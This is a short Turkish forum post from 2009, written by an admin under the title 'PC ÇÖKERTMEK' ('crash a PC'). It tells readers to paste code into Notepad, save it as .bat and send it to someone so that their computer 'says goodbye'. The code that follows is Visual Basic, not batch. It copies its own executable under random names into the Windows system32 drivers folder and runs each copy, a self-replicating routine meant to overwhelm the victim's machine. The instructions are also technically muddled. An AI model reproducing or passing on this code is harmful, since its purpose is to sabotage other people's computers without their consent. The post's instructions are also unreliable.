Rütbe: Admin
Rütbe Kademesi:
Üyelik tarihi:14/11/08
Mesajlar:336
|
| |
|
 Konu: PC ÇÖKERTMEK  C.tesi Ocak 10, 2009 9:59 pm |
|
|
Arkdaşlar Bunlar Notepade Yazıyoruz. Uzantısını .bat yapıyoruz ve karşı tarafa yollayınca pc'sine Elveda Diyor..
Ve Kodlar :
kod:::--Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub |
|
